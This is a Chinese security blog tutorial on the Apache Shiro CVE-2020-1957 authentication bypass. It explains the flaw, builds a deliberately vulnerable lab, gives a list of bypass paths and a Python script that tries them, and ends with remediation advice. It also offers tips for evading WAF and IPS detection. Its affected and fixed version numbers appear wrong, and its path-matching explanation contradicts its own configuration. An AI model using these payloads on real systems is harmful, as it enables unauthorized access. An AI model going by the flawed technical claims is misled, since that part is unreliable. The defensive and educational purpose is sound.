Shiro CVE-2020-1957认证绕过漏洞:原理、复现与防御
1. 项目概述与核心价值
最近在整理内部安全审计的案例库,翻到了几年前一个挺有意思的漏洞——Shiro的CVE-2020-1957。这个漏洞虽然不像它的“前辈”CVE-2016-4437(Shiro反序列化)那样名声在外,但在特定场景下,它那种“悄无声息”绕过认证的能力,确实能给系统带来不小的麻烦。我记得当时在复现和测试过程中,踩了不少坑,也总结出了一些在官方通告和POC里看不到的细节。今天,我就把这个漏洞从原理到实战的完整链条拆解一遍,目标是让你看完之后,不仅能自己动手搭环境、复现漏洞,更能理解它背后的设计逻辑和防御思路。
简单来说,CVE-2020-1957是一个Apache Shiro框架在1.5.2及之前版本中存在的认证绕过漏洞。攻击者通过构造特殊的请求路径,可以绕过Shiro配置的权限过滤器,直接访问到本应受保护的后端接口或资源。这个漏洞的触发条件相对苛刻,但一旦环境匹配,危害是直接的未授权访问。对于安全研究人员、渗透测试工程师和Java后端开发者而言,深入理解这个漏洞,一方面能帮助你在黑盒测试中多一个检测思路,另一方面也能在设计或审查基于Shiro的权限系统时,避开类似的坑。
2. 漏洞原理深度剖析:不仅仅是“/”的问题
很多人初看这个漏洞的公告,会简单地理解为“因为Shiro对URI的处理与Spring等Web框架不一致,导致/和;被特殊处理,从而绕过”。这个说法没错,但太笼统了。要真正吃透它,我们需要钻进Shiro的源码和请求处理流程里去看。
2.1 Shiro的请求拦截与路径匹配机制
Shiro的核心安全控制依赖于一系列过滤器(Filter),它们被配置在web.xml或通过Spring Boot的自动配置生效。最关键的过滤器是ShiroFilter,它根据你在shiro.ini或ShiroFilterFactoryBean中配置的URL模式来决定对某个请求进行认证、授权或直接放行。
这里的关键在于路径匹配。Shiro默认使用PathMatchingFilterChainResolver来解析请求的URI,并将其与配置的链定义进行匹配。它内部依赖AntPathMatcher进行模式匹配。AntPathMatcher的行为有一个特点:在进行模式匹配时,它会**标准化(normalize)**请求的URI。
什么是标准化?一个常见的操作就是处理掉URI末尾的斜杠/和分号;及其后面的内容(即;jsessionid=xxx这类片段)。在Java Servlet规范中,分号后的部分被视为“路径参数”(Path Parameters),通常用于会话跟踪,不应被视为资源路径的一部分。Shiro的AntPathMatcher在匹配前,会调用HttpServletRequest的getServletPath()或getPathInfo()方法获取路径,并对其进行处理,移除这些路径参数。
2.2 漏洞触发的核心矛盾点
问题就出在这个“处理”的时机和方式上。我们假设一个典型的场景:
- 应用使用Spring MVC作为Web框架。
- 配置了Shiro过滤器,对
/admin/*路径下的所有请求要求认证。 - 存在一个后台接口,其真实路径为
/admin/page。
正常请求:GET /admin/page
- Shiro获取路径,匹配
/admin/*规则,触发认证检查。 - 请求到达Spring MVC的
DispatcherServlet,路由到/admin/page对应的控制器。 - 流程正常。
攻击请求:GET /admin/page/
- Shiro获取路径,假设它经过标准化处理,可能会将
/admin/page/视为/admin/page。关键在于,Shiro的AntPathMatcher的匹配逻辑是:模式/admin/*是否能匹配路径/admin/page/?在Ant风格中,*匹配零个或多个字符,但不包括目录分隔符/。因此,/admin/*无法匹配/admin/page/,因为后者末尾多了一个/。 - 由于不匹配
/admin/*,Shiro可能将其匹配到另一个链(比如/**= anon,表示匿名访问),从而放行了该请求。 - 请求到达Spring MVC。Spring MVC的
UrlPathHelper在解析路径时,默认情况下会移除末尾的斜杠(removeTrailingSlash属性可能为true)。于是,/admin/page/被处理成了/admin/page。 - Spring MVC成功将请求路由到
/admin/page控制器。 - 结果:攻击者未经验证,访问到了受保护资源。
另一种常见变体是使用分号:GET /admin/page;
- Shiro在处理时,可能会将
;及其之后的内容视为路径参数并移除,然后拿/admin/page去匹配规则。如果配置的规则是/admin/*,那么/admin/page是匹配的,会触发认证。所以这种简单分号绕过在某些配置下可能无效。 - 但更精妙的利用是结合目录遍历:
GET /admin/../page或/admin/page/..;/。Shiro的路径标准化可能会因为解析..父目录的方式与后端框架不一致,导致匹配失败而放行。
核心要点:漏洞的本质是Shiro过滤器链对请求URI的解析、标准化和匹配逻辑,与后端Web框架(如Spring MVC、Struts2)的路由解析逻辑存在差异。这种差异导致了一个请求在Shiro看来“不需要认证”,但在后端框架看来却能“正确路由”到受保护的目标处理器。
2.3 影响版本与条件
- 影响版本:Apache Shiro <= 1.5.2
- 修复版本:Apache Shiro >= 1.5.3
- 触发条件:
- 使用了Shiro的权限拦截功能(配置了非匿名访问的URL模式)。
- Shiro与后端Web框架(Spring MVC最常见)对URI的处理存在不一致。
- 请求路径的构造恰好利用了这种不一致(如末尾加
/、使用;、..等)。
3. 漏洞复现环境搭建:从零开始构造靶场
纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,亲手搭建环境复现是不可或缺的一步。下面我会详细演示如何搭建一个最贴近真实漏洞场景的Spring Boot + Shiro 1.5.2环境。
3.1 基础环境准备
你需要准备:
- Java开发环境:JDK 8或11(推荐8,与漏洞时代更匹配)。确保
JAVA_HOME环境变量配置正确。 - 集成开发环境(IDE):IntelliJ IDEA 或 Eclipse。本文以IDEA为例。
- 构建工具:Maven 3.6+。
- 浏览器及调试工具:Chrome/Firefox,并安装Burp Suite或浏览器开发者工具用于抓包改包。
3.2 创建Spring Boot项目
- 打开IDEA,选择
File -> New -> Project。 - 选择
Spring Initializr,SDK选择你的JDK 8。 - Group和Artifact按喜好填写,例如
com.example和shiro-cve-demo。 - 选择Spring Boot版本:这里有个关键点,为了环境兼容性,我们选择2.2.x版本(例如2.2.13.RELEASE)。Spring Boot 2.3+在路径处理上有些变化,可能影响复现效果。
- 依赖:在Dependencies中选择
Spring Web即可。Shiro的依赖我们手动添加。
点击Finish,IDEA会自动生成项目并下载初始依赖。
3.3 引入存在漏洞的Shiro依赖
打开项目根目录下的pom.xml文件,在<dependencies>节点内添加Apache Shiro 1.5.2的依赖。
<!-- 存在漏洞的 Shiro 版本 --> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.5.2</version> <!-- 关键:使用漏洞版本 --> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.5.2</version> </dependency>添加后,IDEA会自动下载依赖。如果下载慢,可以检查或更换Maven镜像源为阿里云。
3.4 编写模拟的业务控制器
我们需要创建几个简单的REST端点来模拟需要权限保护的接口和公开接口。
在src/main/java/com/example/shirocvedemo/下创建controller包,然后创建AdminController.java:
package com.example.shirocvedemo.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping("/admin") public class AdminController { @GetMapping("/info") public String adminInfo() { return "This is Admin Info Page (PROTECTED)."; } @GetMapping("/list") public String adminList() { return "This is Admin List Page (PROTECTED)."; } }再创建一个公开的控制器PublicController.java:
package com.example.shirocvedemo.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class PublicController { @GetMapping("/hello") public String hello() { return "This is Public Hello Page."; } @GetMapping("/") public String index() { return "Welcome to Index Page."; } }3.5 配置存在漏洞的Shiro安全策略
这是复现环境的核心。我们需要配置Shiro,让其对/admin/*路径进行拦截,要求认证,而对其他路径放行。
在src/main/java/com/example/shirocvedemo/下创建config包,然后创建ShiroConfig.java:
package com.example.shirocvedemo.config; import org.apache.shiro.spring.web.ShiroFilterFactoryBean; import org.apache.shiro.web.mgt.DefaultWebSecurityManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import javax.servlet.Filter; import java.util.LinkedHashMap; import java.util.Map; @Configuration public class ShiroConfig { // 1. 创建 Realm (这里使用最简单的实现,不做真实认证) @Bean public SimpleRealm simpleRealm() { return new SimpleRealm(); } // 2. 创建 SecurityManager @Bean public DefaultWebSecurityManager securityManager(SimpleRealm realm) { DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); securityManager.setRealm(realm); return securityManager; } // 3. 创建 ShiroFilterFactoryBean (关键配置处) @Bean public ShiroFilterFactoryBean shiroFilterFactoryBean(DefaultWebSecurityManager securityManager) { ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); factoryBean.setSecurityManager(securityManager); // 设置登录页面(可选,用于演示重定向) factoryBean.setLoginUrl("/login"); // 设置未授权页面 factoryBean.setUnauthorizedUrl("/unauth"); // 定义权限拦截链 (注意顺序) Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>(); // 静态资源放行 (如果存在) filterChainDefinitionMap.put("/static/**", "anon"); // 公开接口放行 filterChainDefinitionMap.put("/hello", "anon"); filterChainDefinitionMap.put("/login", "anon"); // 对 /admin/ 下的所有请求进行认证拦截 filterChainDefinitionMap.put("/admin/**", "authc"); // authc 表示需要认证 // 默认策略,通常放在最后 filterChainDefinitionMap.put("/**", "anon"); factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); return factoryBean; } }接着,创建那个简单的SimpleRealm.java,它不做真实校验,只是为了让流程跑通:
package com.example.shirocvedemo.config; import org.apache.shiro.authc.*; import org.apache.shiro.realm.AuthenticatingRealm; public class SimpleRealm extends AuthenticatingRealm { @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException { // 这里为了简化,直接拒绝所有认证,模拟用户未登录状态。 // 在实际漏洞中,正是因为“authc”过滤器会拦截并重定向到登录页,而绕过漏洞避免了这一点。 throw new AuthenticationException("Not authenticated for demo purpose"); } }最后,创建一个简单的登录和未授权页面控制器PageController.java,用于展示效果:
package com.example.shirocvedemo.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; @Controller public class PageController { @GetMapping("/login") public String loginPage() { return "login"; // 对应 templates/login.html (需要Thymeleaf等模板引擎,这里简化) } @GetMapping("/unauth") public String unauthPage() { return "unauthorized"; } }由于我们没引入模板引擎,访问/login或/unauth会报404,但这不影响核心漏洞的测试,因为漏洞关注的是能否绕过认证访问/admin/info。
环境搭建避坑指南:
- Spring Boot版本:务必使用2.2.x。Spring Boot 2.3+引入了
spring.mvc.pathmatch.matching-strategy=ant_path_matcher的默认值变化,且对路径后缀的处理更严格,可能导致复现失败。如果必须用高版本,需在application.properties中显式设置spring.mvc.pathmatch.matching-strategy=ant_path_matcher。- Shiro过滤器顺序:在
LinkedHashMap中定义链的顺序非常重要。更具体的路径(如/admin/**)应该放在更通用的路径(如/**)前面。Shiro会按顺序匹配,使用第一个匹配成功的规则。- Servlet容器差异:内嵌的Tomcat、Jetty或Undertow对路径解析可能有细微差别。本环境基于Spring Boot默认的Tomcat,是最常见的场景。
3.6 启动并验证基础环境
- 找到
src/main/java下的ShiroCveDemoApplication(主启动类),运行它。 - 打开浏览器或使用
curl/Postman 测试:- 访问
http://localhost:8080/hello,应返回"This is Public Hello Page.",正常。 - 访问
http://localhost:8080/admin/info,应被重定向到/login(或返回401/403,取决于配置),因为触发了authc过滤器。这说明Shiro的权限拦截在正常工作。 - 检查控制台,可能会看到Shiro抛出的认证异常日志,这是预期的。
- 访问
至此,一个存在CVE-2020-1957漏洞的Spring Boot + Shiro 1.5.2 环境就搭建完成了。
4. 渗透实践:手动与工具结合验证漏洞
环境准备好了,接下来就是验证漏洞是否存在以及如何利用。我们将从手动测试开始,逐步深入到使用自动化工具进行检测。
4.1 手动探测与漏洞验证
手动测试的核心是构造能触发路径解析差异的Payload。我们将使用Burp Suite的Repeater模块或浏览器开发者工具的网络选项卡进行测试。
测试步骤:
基准测试(正常请求):
- 发送
GET /admin/info请求。 - 预期结果:返回
302 Found重定向到/login,或者直接返回401 Unauthorized/403 Forbidden。响应体可能为空或包含登录页面HTML。 - 目的:确认目标接口确实受到Shiro保护。
- 发送
漏洞Payload测试: 我们尝试几种常见的绕过Payload:
Payload 1: 末尾添加斜杠
/- 请求:
GET /admin/info/ - 观察重点:响应状态码是否为
200 OK?响应内容是否包含"This is Admin Info Page (PROTECTED)."? - 原理推测:Shiro的
/admin/**规则可能没有匹配到/admin/info/,而后端Spring MVC将其标准化为/admin/info并处理了请求。
- 请求:
Payload 2: 使用分号
;- 请求:
GET /admin/info; - 观察重点:同上,是否返回了受保护的内容?
- 注意:在Spring MVC默认配置下,单纯的分号可能被直接忽略,路径仍被视为
/admin/info,从而被Shiro拦截。这个Payload成功率相对较低,但它是其他组合Payload的基础。
- 请求:
Payload 3: 斜杠与分号组合
- 请求:
GET /admin/info/; - 请求:
GET /admin/;info - 观察重点:尝试多种组合,观察哪种能绕过。
- 请求:
Payload 4: 目录遍历
..- 请求:
GET /admin/../info - 请求:
GET /admin/info/.. - 观察重点:Shiro在匹配前是否会解析
..?如果Shiro将路径标准化为/info(因为/admin/../info=>/info),那么它就不会匹配/admin/**规则,从而可能放行。而后端框架可能以不同方式解析,最终仍路由到/admin/info控制器。
- 请求:
Payload 5: 编码混淆
- 对斜杠或点进行URL编码。
- 请求:
GET /admin/info%2f(%2f是/) - 请求:
GET /admin%2finfo - 请求:
GET /admin/info%2e(%2e是.) - 观察重点:中间件(Tomcat)和Shiro对解码的时机可能不同,造成解析差异。
结果分析:
- 如果任何一个Payload返回了
200 OK并且内容是受保护资源的信息,则漏洞存在。 - 在我们的实验环境中,最有可能成功的是
GET /admin/info/。你可以尝试一下。
- 如果任何一个Payload返回了
手动测试心得:
- 不要只测一种Payload:不同版本的Shiro、Spring Boot、甚至Web服务器,对路径的处理都有细微差别。一个Payload不行,立刻换下一个。
- 关注响应差异:不仅仅是状态码。对比正常请求和被拦截请求的响应头、响应体大小、重定向地址。有时绕过后的响应可能与完全匿名访问的响应仍有细微差别(如少了某个Cookie,Session状态不同)。
- 使用Burp Suite的
Compare功能:将正常被拦截的响应和疑似绕过的响应进行对比,能快速发现不同。- 注意默认页面:如果访问一个不存在的路径,服务器可能返回404或默认错误页。确保你返回的
200 OK内容确实是目标业务数据,而不是一个默认的欢迎页面。
4.2 使用自动化工具进行扫描
手动测试虽然精准,但效率低。在实际渗透测试中,我们通常会借助工具进行初步筛查。对于Shiro漏洞,有一些知名的工具和脚本。
工具一:ShiroScan (Python)
这是一个集成了多个Shiro漏洞检测(包括CVE-2020-1957、CVE-2020-11989、反序列化等)的常用工具。
- 安装:
pip install shiro-scan(如果不行,可能需从GitHub克隆源码git clone https://github.com/shmilylty/ShiroScan.git然后python setup.py install) - 基础使用:
# 检测单个URL python shiro_scan.py -u http://target.com # 指定检测特定漏洞 python shiro_scan.py -u http://target.com --cve CVE-2020-1957 # 从文件读取URL列表进行批量检测 python shiro_scan.py -f urls.txt - 原理:该工具会向目标发送一系列精心构造的、针对不同Shiro漏洞的Payload请求,然后根据响应特征(如状态码、响应头、响应体内容、响应时间差异)来判断漏洞是否存在。
- 优缺点:
- 优点:功能全面,覆盖多个CVE,批量检测效率高。
- 缺点:Payload可能不够全面,存在误报和漏报;流量特征明显,易被WAF/IDS拦截。
工具二:自定义Python脚本
对于CVE-2020-1957,我们可以编写一个简单的脚本来检测特定的路径绕过。这能让我们更灵活地控制Payload和判断逻辑。
#!/usr/bin/env python3 import requests import sys import urllib.parse def test_shiro_bypass(target_url, protected_path): """ 测试 Shiro CVE-2020-1957 认证绕过 :param target_url: 目标基础URL,如 http://localhost:8080 :param protected_path: 受保护的路径,如 /admin/info """ headers = {'User-Agent': 'Mozilla/5.0 (Shiro-Scanner)'} session = requests.Session() # 1. 测试正常访问 (应被拦截) normal_url = target_url + protected_path try: resp_normal = session.get(normal_url, headers=headers, allow_redirects=False, timeout=5) print(f"[*] 测试正常路径: {normal_url}") print(f" 状态码: {resp_normal.status_code}, 内容长度: {len(resp_normal.content)}") # 判断是否被拦截:常见的是302重定向到登录页,或401/403 if resp_normal.status_code in [302, 401, 403]: print(" [+] 正常路径已被Shiro拦截。") else: print(" [-] 正常路径未被拦截,可能无需认证或配置有误。") return except Exception as e: print(f" [-] 请求失败: {e}") return # 2. 定义绕过Payload列表 bypass_payloads = [ protected_path + '/', # 末尾加斜杠 protected_path + '/;', # 末尾加斜杠和分号 protected_path + '/..', # 末尾加父目录 protected_path + '/../', # 末尾加父目录和斜杠 protected_path + ';/', # 分号后加斜杠 protected_path + '%2f', # 编码斜杠 protected_path + '%20', # 空格 (有时有奇效) # 可以添加更多Payload ] print(f"\n[*] 开始尝试绕过Payload...") for payload in bypass_payloads: test_url = target_url + payload try: resp_bypass = session.get(test_url, headers=headers, allow_redirects=False, timeout=5) print(f"\n[*] 尝试Payload: {payload}") print(f" 状态码: {resp_bypass.status_code}, 内容长度: {len(resp_bypass.content)}") # 判断是否可能绕过:状态码为200,且内容长度与正常被拦截时显著不同 if resp_bypass.status_code == 200: # 简单判断:如果返回了明显的内容,且不是错误页 if len(resp_bypass.content) > 100 and b'error' not in resp_bypass.content.lower(): print(f" [!] 疑似绕过成功!URL: {test_url}") print(f" 响应预览: {resp_bypass.content[:200]}...") else: print(f" [-] 返回200但可能是错误页或默认页。") elif resp_bypass.status_code == resp_normal.status_code: print(f" [-] 与正常请求状态相同,未绕过。") else: print(f" [-] 状态码不同({resp_bypass.status_code}),但非200,需进一步分析。") except Exception as e: print(f" [-] 请求失败: {e}") if __name__ == '__main__': if len(sys.argv) != 3: print(f"用法: {sys.argv[0]} <目标URL> <受保护路径>") print(f"示例: {sys.argv[0]} http://localhost:8080 /admin/info") sys.exit(1) target = sys.argv[1].rstrip('/') path = sys.argv[2] test_shiro_bypass(target, path)使用方式:python shiro_cve_2020_1957_check.py http://localhost:8080 /admin/info
这个脚本会先验证目标路径是否受保护,然后逐一尝试常见的绕过Payload,并根据状态码和响应内容给出提示。
工具使用注意事项:
- 遵守授权:仅在你自己搭建的测试环境或获得明确授权的目标上使用这些工具。
- 流量控制:自动化工具会产生大量请求,可能对目标服务造成压力,甚至触发告警。在测试生产环境时,务必控制并发和速率。
- 结果验证:工具报告“疑似漏洞”后,一定要手动复现确认,避免误报。
- WAF/IPS规避:工具的Payload可能被安全设备识别。在实战中,可能需要随机化User-Agent、添加延迟、对Payload进行多次编码或拆分来绕过检测。
5. 漏洞修复与安全加固建议
复现漏洞是为了更好地防御。如果你正在开发或维护一个使用Shiro的项目,以下是必须采取的加固措施。
5.1 官方修复方案:升级Shiro
最根本、最有效的修复方法是升级Apache Shiro到安全版本。
- 修复版本:Apache Shiro >= 1.5.3
- 升级方式: 修改项目的
pom.xml(Maven) 或build.gradle(Gradle) 文件,将Shiro依赖版本更新至1.5.3或更高。<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.7.1</version> <!-- 使用当前最新稳定版 --> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.7.1</version> </dependency> - 修复原理:在1.5.3版本中,Shiro改进了
PathMatchingFilterChainResolver的路径解析逻辑,使其在与Spring等框架集成时,对URI的标准化处理更加一致,消除了因此产生的歧义空间。具体来说,修复确保在匹配过滤器链之前,对请求路径的规范化处理与后续Web容器的处理方式对齐。
5.2 临时缓解措施(如果无法立即升级)
在某些情况下,升级可能无法立即进行。可以采取以下缓解措施来降低风险:
使用严格的URL模式匹配:
- 避免使用过于宽泛的通配符,如
/**。尽量为所有需要权限的接口配置精确路径。 - 可以尝试在Shiro配置中,为受保护的路径同时配置有斜杠结尾和无斜杠结尾的规则。但这只是一种补丁,并非根本解决。
filterChainDefinitionMap.put("/admin/**", "authc"); filterChainDefinitionMap.put("/admin/*/", "authc"); // 额外添加一条- 避免使用过于宽泛的通配符,如
在后端控制器方法上添加额外的安全注解:
- 即使Shiro过滤器被绕过,你还可以在Spring的控制器方法上使用
@PreAuthorize、@Secured或@RolesAllowed注解进行二次校验。 - 这需要集成Spring Security或使用Shiro的注解,但增加了安全层次。
@RestController @RequestMapping("/admin") public class AdminController { @GetMapping("/info") @PreAuthorize("isAuthenticated()") // Spring Security注解 public String adminInfo() { return "Protected Info"; } }- 即使Shiro过滤器被绕过,你还可以在Spring的控制器方法上使用
自定义过滤器进行路径规范化:
- 编写一个Servlet Filter,放在Shiro Filter之前,对进入的请求URI进行强制规范化(如移除末尾多余的
/,解析..等),确保传递给Shiro和后端框架的路径是统一的。 - 这种方法侵入性较强,需要仔细测试以避免影响正常功能。
- 编写一个Servlet Filter,放在Shiro Filter之前,对进入的请求URI进行强制规范化(如移除末尾多余的
5.3 安全开发最佳实践
除了修复特定漏洞,建立良好的安全开发习惯更重要:
- 最小权限原则:Shiro的权限配置应遵循此原则。默认情况下,所有路径都应该是拒绝访问(
/** = authc或/** = roles[xxx]),然后显式地放行公开资源(/public/** = anon)。这比默认放行再拦截特定路径更安全。 - 定期依赖扫描:使用OWASP Dependency-Check、Snyk、GitHub Dependabot等工具,持续监控项目依赖库中的已知漏洞(CVE),并及时更新。
- 纵深防御:不要仅仅依赖网关或Web框架的一层安全控制。在重要的业务逻辑入口,再次进行权限和身份校验。
- 安全测试:将类似CVE-2020-1957的测试用例纳入自动化安全测试(SAST/DAST)流程,或在每次版本更新后手动执行核心接口的未授权访问测试。
6. 从CVE-2020-1957延伸的防御思考
这个漏洞虽然原理不复杂,但它揭示了一个在Web安全中普遍且重要的问题:请求处理链上的不一致性。Shiro作为一个过滤器,和Spring MVC的DispatcherServlet,以及底层的Tomcat,共同构成了一个请求处理管道。数据在这个管道中流动时,每一层都可能对URL进行解析、解码、规范化。如果任意两层之间的处理逻辑存在差异,就可能被攻击者利用,作为“逃逸”某一层安全控制的突破口。
类似的漏洞模式在其他场景中也屡见不鲜:
- WAF绕过:WAF的规则引擎对HTTP请求的解析与后端应用服务器不一致,导致攻击Payload被WAF放过,却被后端成功执行。
- URL重写/路由组件漏洞:一些网关、负载均衡器或路由框架在重写URL时引入的歧义。
- 多层解码差异:例如,Tomcat可能自动进行URL解码,而应用层框架又进行了一次解码,导致双重编码的Payload绕过检查。
因此,对于开发者和架构师来说,防御此类漏洞的思路应该是:
- 标准化:在系统的边界(如最外层的网关、入口过滤器)尽早对输入进行严格的标准化和规范化,并在整个处理链中保持这种格式。
- 协同设计:当系统使用多个负责安全或路由的组件时(如Shiro + Spring MVC + Gateway),需要了解它们之间的交互细节,确保其路径匹配、参数解析逻辑是兼容的。
- 模糊测试:针对系统的URL路由层进行模糊测试(Fuzzing),发送大量畸形、异常的路径和参数,观察系统行为是否异常,是发现此类逻辑漏洞的有效手段。
回过头看,CVE-2020-1957的修复,正是Shiro社区通过标准化自己的路径处理逻辑,使其与主流Web框架行为对齐,从而堵上了这个“认知差”导致的缺口。这再次印证了,在复杂系统中,安全往往隐藏在组件交互的细节里。